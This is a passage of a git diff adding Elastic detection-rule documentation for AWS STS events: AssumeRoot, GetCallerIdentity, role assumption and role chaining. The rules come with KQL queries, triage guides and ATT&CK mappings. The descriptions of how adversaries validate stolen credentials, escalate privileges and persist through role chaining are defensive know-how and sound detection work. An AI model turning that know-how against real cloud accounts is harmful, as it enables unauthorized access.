with HR records or onboarding schedules. +- Routine device replacements or upgrades can result in new MFA devices being registered. Implement a process to track and verify device changes through IT support tickets or asset management systems. +- Users with multiple roles or responsibilities might frequently switch roles using different MFA devices. Establish a baseline of normal behavior for these users and create exceptions for their typical activity patterns. +- Organizational policy changes that require MFA updates can lead to multiple new MFA device registrations. Coordinate with security teams to whitelist these events during policy rollout periods. +- Temporary contractors or third-party vendors may use new MFA devices when accessing AWS resources. Ensure that their access is logged and reviewed, and create temporary exceptions for their known access periods. + + +*Response and remediation* + + +- Immediately revoke the temporary credentials associated with the assumed role to prevent unauthorized access to AWS resources. +- Verify the legitimacy of the new MFA device by contacting the user or administrator associated with the role assumption. Confirm whether the device was intentionally registered and used. +- If the new MFA device is determined to be unauthorized, disable or remove it from the user's account to prevent further misuse. +- Conduct a review of recent AWS CloudTrail logs to identify any suspicious activities or patterns associated with the user or role in question, focusing on privilege escalation or lateral movement attempts. +- Escalate the incident to the security operations team for further investigation and to determine if additional containment measures are necessary. +- Implement additional monitoring and alerting for unusual MFA device registrations and role assumptions to enhance detection of similar threats in the future. +- Review and update IAM policies and MFA device management procedures to ensure they align with best practices for security and access control. + +==== Setup + + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:aws.cloudtrail + and event.provider:sts.amazonaws.com + and event.action:(AssumeRole or AssumeRoleWithSAML or AssumeRoleWithWebIdentity) + and event.outcome:success + and aws.cloudtrail.flattened.request_parameters.serialNumber:* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Multi-Factor Authentication +** ID: T1556.006 +** Reference URL: https://attack.mitre.org/techniques/T1556/006/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-sts-assumeroot-by-rare-user-and-member-account.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-sts-assumeroot-by-rare-user-and-member-account.asciidoc new file mode 100644 index 0000000000..77ea1cf928 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-sts-assumeroot-by-rare-user-and-member-account.asciidoc @@ -0,0 +1,230 @@ +[[prebuilt-rule-8-19-21-aws-sts-assumeroot-by-rare-user-and-member-account]] +=== AWS STS AssumeRoot by Rare User and Member Account + +Identifies when the STS AssumeRoot action is performed by a rare user in AWS. The AssumeRoot action allows users to assume the root member account role, granting elevated but specific permissions based on the task policy specified. Adversaries who have compromised user credentials can use this technique to escalate privileges and gain unauthorized access to AWS resources. This is a New Terms rule that identifies when the STS AssumeRoot action is performed by a user that rarely assumes this role against a specific member account. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoot.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS STS +* Resources: Investigation Guide +* Use Case: Identity and Access Audit +* Tactic: Privilege Escalation + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS STS AssumeRoot by Rare User and Member Account* + + +AWS STS `AssumeRoot` issues temporary credentials that grant elevated access into a member account, constrained by the +task policy and target policy attached to the request. In normal operations, only a small set of platform, security, or +automation roles should ever need to perform `AssumeRoot`, and typically only against a predictable set of member +accounts. + +This rule is a New Terms rule that detects when a previously unseen combination of calling principal (`aws.cloudtrail.user_identity.arn`) and target member account (`aws.cloudtrail.resources.account_id`) successfully invokes `AssumeRoot`. Activity that matches this pattern may indicate privilege escalation, lateral movement into a new account, abuse of cross-account access paths, or misuse of administrative workflows. + + +*Possible investigation steps* + + +- **Identify the actor and target context** + - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine: + - Whether the caller is an IAM user, federated user, or role. + - Whether this identity is normally used for organization-level administration or automation. + - Inspect `aws.cloudtrail.resources.account_id` and `aws.cloudtrail.recipient_account_id` to identify the affected member account. + - Check `source.address`, `source.geo.*`, and `user_agent.original` to understand where and how the call was made (console, CLI, SDK, automation runner, VPN, corporate IP, etc.). + +- **Understand session, policy, and target details** + - Examine `aws.cloudtrail.request_parameters` for: + - `taskPolicyArn` – which predefined task policy was requested and what category of operations it enables (e.g., investigation, remediation, read-only, or broad admin). + - `targetPrincipal` and/or related target fields – which member account principal is being accessed. + - Any duration or configuration parameters (such as `durationSeconds`) that indicate unusually long-lived sessions. + - In `aws.cloudtrail.response_elements`, review: + - `credentials.accessKeyId` and `credentials.expiration` to confirm that credentials were successfully issued and how long they are valid. + - Any additional response fields that indicate session constraints or failures (if present). + +- **Correlate follow-on activity from the assumed root session** + - Use the temporary access key from `aws.cloudtrail.response_elements.credentials.accessKeyId` to pivot in CloudTrail: + - Search for subsequent events where `aws.cloudtrail.user_identity.access_key_id` matches that key. + - Look for high-impact actions such as: + - IAM changes (`iam:CreateUser`, `iam:AttachRolePolicy`, `iam:PutRolePolicy`, `iam:UpdateAssumeRolePolicy`). + - Guardrail changes (CloudTrail, Security Hub, Config, GuardDuty configuration or detector changes). + - Data-impacting actions (S3 bucket policy changes, RDS/RDS snapshot operations, EFS/RDS delete, secrets reads). + - Correlate with any prior events for the calling identity: + - STS calls that created the session used to invoke `AssumeRoot` (e.g., `AssumeRole`, SSO/identity provider activity). + - Recent IAM policy updates that broadened its ability to perform cross-account administration. + +- **Assess timing and operational alignment** + - Use `@timestamp`, `cloud.region`, and your change calendar to determine: + - Whether the event occurred during a documented maintenance window or deployment. + - Whether the region and account align with the caller’s normal operational scope. + - Compare with other events in the same time window: + - Organization-level changes, new account creation, or migration work. + - Other sensitive operations from the same `source.ip` or principal. + +- **Validate with owners** + - Confirm with: + - Cloud/infra platform teams that normally operate organization-level admin roles. + - Security/IR teams if they were running an investigation workflow that legitimately uses `AssumeRoot`. + - Check whether the use of `AssumeRoot` is documented in CI/CD or automation designs that might have just expanded to this account, explaining the New Terms trigger. + + +*False positive analysis* + + +- **Legitimate administrative cross-account access** + - Platform, security, or central operations teams may use `AssumeRoot` as part of sanctioned workflows for: + - New account onboarding. + - Centralized remediation or investigation. + - Complex deployment or migration tasks. + - If this is the first time a specific engineer or automation role is onboarded to a given member account, the rule will fire once because it is a New Terms rule. Validate and, if appropriate, document this as expected behavior. + +- **Automation and scheduled workflows** + - CI/CD pipelines, organization-wide maintenance jobs, or incident response automation may use `AssumeRoot`: + - Identify automation roles and service principals that legitimately call `AssumeRoot`. + - Tune with rule exceptions based on `aws.cloudtrail.user_identity.arn`, `user_agent.original`, or specific `taskPolicyArn` values used only by trusted workflows. + +If a pattern emerges where specific roles regularly and legitimately assume root into a consistent set of accounts, consider documenting those identities and, if appropriate, creating narrow exceptions — while preserving coverage for new, unexpected combinations. + + +*Response and remediation* + + +- **Contain potentially unauthorized sessions** + - If the activity appears suspicious or unapproved: + - Invalidate the credentials issued by `AssumeRoot` (where supported) or constrain their impact by immediately tightening IAM, SCPs, or network controls in the affected member account. + - Rotate or revoke long-lived access keys associated with the calling principal. + - Temporarily restrict permissions on roles allowed to call `AssumeRoot` until the investigation is complete. + +- **Investigate scope and impact** + - Using CloudTrail: + - Enumerate all actions performed with the `AssumeRoot` session access key and identify: + - Privilege changes (IAM users, roles, policies, permission boundaries, SCPs). + - Changes to logging and security controls (CloudTrail, GuardDuty, Security Hub, Config, firewall/WAF rules). + - Data-impacting operations on high-value services (S3, RDS, DynamoDB, Secrets Manager, KMS). + - Check if similar `AssumeRoot` activity has occurred recently from the same `source.ip`, principal, or member account. + - Engage application, data, and platform owners for the impacted account(s) to: + - Assess potential data exposure, integrity issues, or downtime. + - Determine whether any actions conflict with intended change plans. + +- **Hardening and preventive controls** + - Restrict and monitor `AssumeRoot` usage: + - Limit which IAM roles and identities can call `sts:AssumeRoot`, using IAM conditions (e.g., `aws:PrincipalArn`, `aws:PrincipalOrgID`, `aws:RequestedRegion`). + - Where possible, require strong authentication on the initiating principal (MFA, federated SSO, device posture). + - Add guardrails and observability: + - Use AWS Config, Security Hub, and/or AWS Organizations SCPs to: + - Detect or constrain highly privileged cross-account actions. + - Ensure logging and monitoring services cannot be disabled or modified by assumed sessions without additional friction. + - Ensure `AssumeRoot` activity is included in your SIEM dashboards and investigation playbooks. + +- **Post-incident improvements** + - If activity is confirmed malicious or unsafe: + - Rotate credentials for all involved principals and review recent STS session usage for anomalies. + - Update internal runbooks to clearly define when `AssumeRoot` is allowed, who can perform it, and how it should be documented. + - Refine this rule’s exceptions or tagging strategy so that legitimate, recurring workflows are well-understood, while preserving high-fidelity visibility into new or unexpected `AssumeRoot` behavior. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "sts.amazonaws.com" + and event.action: "AssumeRoot" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Temporary Elevated Cloud Access +** ID: T1548.005 +** Reference URL: https://attack.mitre.org/techniques/T1548/005/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-sts-getcalleridentity-api-called-for-the-first-time.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-sts-getcalleridentity-api-called-for-the-first-time.asciidoc new file mode 100644 index 0000000000..2e437df541 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-sts-getcalleridentity-api-called-for-the-first-time.asciidoc @@ -0,0 +1,139 @@ +[[prebuilt-rule-8-19-21-aws-sts-getcalleridentity-api-called-for-the-first-time]] +=== AWS STS GetCallerIdentity API Called for the First Time + +An adversary with access to a set of compromised credentials may attempt to verify that the credentials are valid and determine what account they are using. This rule looks for the first time an identity has called the STS GetCallerIdentity API, which may be an indicator of compromised credentials. A legitimate user would not need to perform this operation as they should know the account they are using. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/STS/latest/APIReference/API_GetCallerIdentity.html +* https://www.secureworks.com/research/detecting-the-use-of-stolen-aws-lambda-credentials +* https://detectioninthe.cloud/ttps/discovery/sts_get_caller_identity + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS STS +* Use Case: Identity and Access Audit +* Tactic: Discovery +* Resources: Investigation Guide + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS STS GetCallerIdentity API Called for the First Time* + + +AWS Security Token Service (AWS STS) is a service that enables you to request temporary, limited-privilege credentials for users. +The `GetCallerIdentity` API returns details about the IAM user or role owning the credentials used to perform the operation. +No permissions are required to run this operation and the same information is returned even when access is denied. +This rule looks for use of the `GetCallerIdentity` API, excluding the `AssumedRole` identity type as use of `GetCallerIdentity` after assuming a role is common practice. This is a https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-new-terms-rule[New Terms] rule indicating the first time a specific user identity has performed this operation. + + +*Possible investigation steps* + + +- Identify the account and its role in the environment. +- Identify the applications or users that should use this account. +- Investigate other alerts associated with the account during the past 48 hours. +- Investigate abnormal values in the `user_agent.original` field by comparing them with the intended and authorized usage and historical data. Suspicious user agent values include non-SDK, AWS CLI, custom user agents, etc. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences involving other users. +- Contact the account owner and confirm whether they are aware of this activity. +- Considering the source IP address and geolocation of the user who issued the command: + - Do they look normal for the calling user? + - If the source is an EC2 IP address, is it associated with an EC2 instance in one of your accounts or is the source IP from an EC2 instance that's not under your control? +- Review IAM permission policies for the user identity. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking servers, services, and data accessed by the account in the last 24 hours. + + +*False positive analysis* + + +- False positives may occur due to the intended usage of the service. Tuning is needed in order to have higher confidence. Consider adding exceptions — preferably with a combination of user agent and IP address conditions. +- Automation workflows that rely on the results from this API request may also generate false-positives. We recommend adding exceptions related to the `user.id` or `aws.cloudtrail.user_identity.arn` values to ignore these. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Rotate secrets or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Check if unauthorized new users were created, remove unauthorized new accounts, and request password resets for other IAM users. +- Consider enabling multi-factor authentication for users. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security best practices https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[outlined] by AWS. +- Take the actions needed to return affected systems, data, or services to their normal operational levels. +- Identify the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "sts.amazonaws.com" + and event.action: "GetCallerIdentity" + and event.outcome: "success" + and not aws.cloudtrail.user_identity.type: "AssumedRole" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Owner/User Discovery +** ID: T1033 +** Reference URL: https://attack.mitre.org/techniques/T1033/ +* Technique: +** Name: Account Discovery +** ID: T1087 +** Reference URL: https://attack.mitre.org/techniques/T1087/ +* Sub-technique: +** Name: Cloud Account +** ID: T1087.004 +** Reference URL: https://attack.mitre.org/techniques/T1087/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-sts-role-assumption-by-service.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-sts-role-assumption-by-service.asciidoc new file mode 100644 index 0000000000..ad15df802e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-sts-role-assumption-by-service.asciidoc @@ -0,0 +1,158 @@ +[[prebuilt-rule-8-19-21-aws-sts-role-assumption-by-service]] +=== AWS STS Role Assumption by Service + +Identifies when a service has assumed a role in AWS Security Token Service (STS). Services can assume a role to obtain temporary credentials and access AWS resources. Adversaries can use this technique for credential access and privilege escalation. This is a New Terms rule that identifies when a service assumes a role in AWS Security Token Service (STS) to obtain temporary credentials and access AWS resources. While often legitimate, adversaries may use this technique for unauthorized access, privilege escalation, or lateral movement within an AWS environment. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS STS +* Resources: Investigation Guide +* Use Case: Identity and Access Audit +* Tactic: Privilege Escalation +* Tactic: Lateral Movement + +*Version*: 216 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS STS Role Assumption by Service* + + +This rule identifies instances where AWS STS (Security Token Service) is used to assume a role, granting temporary credentials for AWS resource access. While this action is often legitimate, it can be exploited by adversaries to obtain unauthorized access, escalate privileges, or move laterally within an AWS environment. + + +*Possible Investigation Steps* + + +- **Identify the Actor and Assumed Role**: + - **User Identity**: Review the `aws.cloudtrail.user_identity.invoked_by` field to determine which service initiated the `AssumeRole` action. + - **Role Assumed**: Check the `aws.cloudtrail.resources.arn` field to confirm the assumed role and ensure it aligns with expected responsibilities. + - **Session Name**: Observe the `aws.cloudtrail.flattened.request_parameters.roleSessionName` for context on the session's intended purpose, if available. + - **Expiration Time**: Verify `aws.cloudtrail.flattened.response_elements.credentials.expiration` to determine when the credentials expire or expired. + +- **Inspect the User Agent for Tooling Identification**: + - **User Agent Details**: Review the `user_agent.original` field to identify the tool or SDK used for the role assumption. Indicators include: + - **AWS SDKs (e.g., Boto3)**: Often used in automated workflows or scripts. + - **AWS CLI**: Suggests command-line access, potentially indicating direct user interaction. + - **Custom Tooling**: Unusual user agents may signify custom or suspicious tools. + +- **Contextualize with Related Events**: + - **Review Event Patterns**: Check surrounding CloudTrail events to see if other actions coincide with this `AssumeRole` activity, such as attempts to access sensitive resources. + - **Identify High-Volume Exceptions**: Due to the potential volume of `AssumeRole` events, determine common, legitimate `roleArn` values or `user_agent` patterns, and consider adding these as exceptions to reduce noise. + +- **Evaluate the Privilege Level of the Assumed Role**: + - **Permissions**: Inspect permissions associated with the assumed role to understand its access level. + - **Authorized Usage**: Confirm whether the role is typically used for administrative purposes and if the assuming entity frequently accesses it as part of regular responsibilities. + + +*False Positive Analysis* + + +- **Automated Workflows and Applications**: Many applications or scheduled tasks may assume roles for standard operations. Check user agents and ARNs for consistency with known workflows. +- **Routine AWS Service Actions**: Historical data may reveal if the same service assumes new roles regularly as part of authorized operations. + + +*Response and Remediation* + + +- **Revoke Unauthorized Sessions**: If unauthorized, consider revoking the session by adjusting IAM policies or permissions associated with the assumed role. +- **Enhance Monitoring and Alerts**: Set up enhanced monitoring for high-risk roles, especially those with elevated privileges. +- **Manage Exceptions**: Regularly review and manage high-frequency roles and user agent patterns, adding trusted ARNs and user agents to exception lists to minimize alert fatigue. +- **Incident Response**: If malicious behavior is identified, follow incident response protocols, including containment, investigation, and remediation. + + +*Additional Information* + + +For more information on managing and securing AWS STS, refer to the https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html[AWS STS documentation] and AWS security best practices. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "sts.amazonaws.com" + and event.action: "AssumeRole" + and event.outcome: "success" + and aws.cloudtrail.user_identity.type: "AWSService" + and aws.cloudtrail.user_identity.invoked_by: ( + "ec2.amazonaws.com" or + "lambda.amazonaws.com" or + "rds.amazonaws.com" or + "ssm.amazonaws.com" or + "ecs-tasks.amazonaws.com" or + "ecs.amazonaws.com" or + "eks.amazonaws.com" or + "eks-fargate.amazonaws.com" or + "codepipeline.amazonaws.com" or + "codebuild.amazonaws.com" or + "autoscaling.amazonaws.com") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Temporary Elevated Cloud Access +** ID: T1548.005 +** Reference URL: https://attack.mitre.org/techniques/T1548/005/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-sts-role-assumption-by-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-sts-role-assumption-by-user.asciidoc new file mode 100644 index 0000000000..11792e310a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-sts-role-assumption-by-user.asciidoc @@ -0,0 +1,159 @@ +[[prebuilt-rule-8-19-21-aws-sts-role-assumption-by-user]] +=== AWS STS Role Assumption by User + +Identifies when a user or role has assumed a role in AWS Security Token Service (STS). Users can assume a role to obtain temporary credentials and access AWS resources. Adversaries can use this technique for credential access and privilege escalation. This is a New Terms rule that identifies when a user assumes a role in AWS Security Token Service (STS) to obtain temporary credentials and access AWS resources. While often legitimate, adversaries may use this technique for unauthorized access, privilege escalation, or lateral movement within an AWS environment. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS STS +* Resources: Investigation Guide +* Use Case: Identity and Access Audit +* Tactic: Privilege Escalation +* Tactic: Lateral Movement + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS STS Role Assumption by User* + + +This rule detects when a user assumes a role in AWS Security Token Service (STS), receiving temporary credentials to access AWS resources. While often used for legitimate purposes, this action can be leveraged by adversaries to obtain unauthorized access, escalate privileges, or move laterally within an AWS environment. + + +*Possible investigation steps* + + +- **Identify the User and Assumed Role**: + - **User Identity**: Check `aws.cloudtrail.user_identity.arn` for details about the initiator of the `AssumeRole` action. + - **Role Assumed**: Review `aws.cloudtrail.resources.arn` to confirm the role assumed and ensure it aligns with the user’s standard permissions. + - **Session Name**: Note `aws.cloudtrail.flattened.request_parameters.roleSessionName` for context on the purpose of the session. + - **Expiration Time**: Use `aws.cloudtrail.flattened.response_elements.credentials.expiration` to confirm the credential expiration. + +- **Inspect User Agent and Source Information**: + - **User Agent**: Analyze the `user_agent.original` field to identify if specific tooling or SDKs like AWS CLI, Boto3, or custom agents were used. + - **Source IP and Geolocation**: Examine `source.ip` and `source.geo` fields to determine the origin of the request, confirming if it aligns with expected locations. + +- **Correlate with Related Events**: + - **Identify Patterns**: Review related CloudTrail events for unusual access patterns, such as resource access or sensitive actions following this `AssumeRole` action. + - **Filter High-Volume Roles**: If this role or user has a high volume of access, evaluate `roleArn` or `user_agent` values for common patterns and add trusted entities as exceptions. + +- **Review the Privileges of the Assumed Role**: + - **Permissions**: Examine permissions associated with the `roleArn` to assess its access scope. + - **Authorized Usage**: Confirm if the role is used frequently for administrative purposes and if this aligns with the user’s regular responsibilities. + + +*False positive analysis* + + +- **Automated Processes and Applications**: Applications or scheduled tasks may assume roles regularly for operational purposes. Validate the consistency of the `user_agent` or `roleArn` with known automated workflows. +- **Standard IAM Policy Usage**: Confirm if the user or application routinely assumes new roles for normal operations by reviewing historical activity. + + +*Response and remediation* + + +- **Terminate Unauthorized Sessions**: If the role assumption is deemed unauthorized, revoke the session by modifying IAM policies or the permissions associated with the assumed role. +- **Strengthen Monitoring and Alerts**: Implement additional monitoring for specific high-risk roles, especially those with elevated permissions. +- **Regularly Manage Exceptions**: Regularly review high-volume roles and user agent patterns to refine alerts, minimizing noise by adding trusted patterns as exceptions. +- **Incident Response**: If confirmed as malicious, follow incident response protocols for containment, investigation, and remediation. + + +*Additional information* + + +For more details on managing and securing AWS STS in your environment, refer to the https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html[AWS STS documentation]. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "sts.amazonaws.com" + and event.action: "AssumeRole" + and event.outcome: "success" + and aws.cloudtrail.user_identity.type: "IAMUser" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-sts-role-chaining.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-sts-role-chaining.asciidoc new file mode 100644 index 0000000000..f74887a095 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-sts-role-chaining.asciidoc @@ -0,0 +1,177 @@ +[[prebuilt-rule-8-19-21-aws-sts-role-chaining]] +=== AWS STS Role Chaining + +Identifies role chaining activity. Role chaining is when you use one assumed role to assume a second role through the AWS CLI or API. While this a recognized functionality in AWS, role chaining can be abused for privilege escalation if the subsequent assumed role provides additional privileges. Role chaining can also be used as a persistence mechanism as each AssumeRole action results in a refreshed session token with a 1 hour maximum duration. This is a new terms rule that looks for the first occurance of one role (aws.cloudtrail.user_identity.session_context.session_issuer.arn) assuming another (aws.cloudtrail.resources.arn). + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: 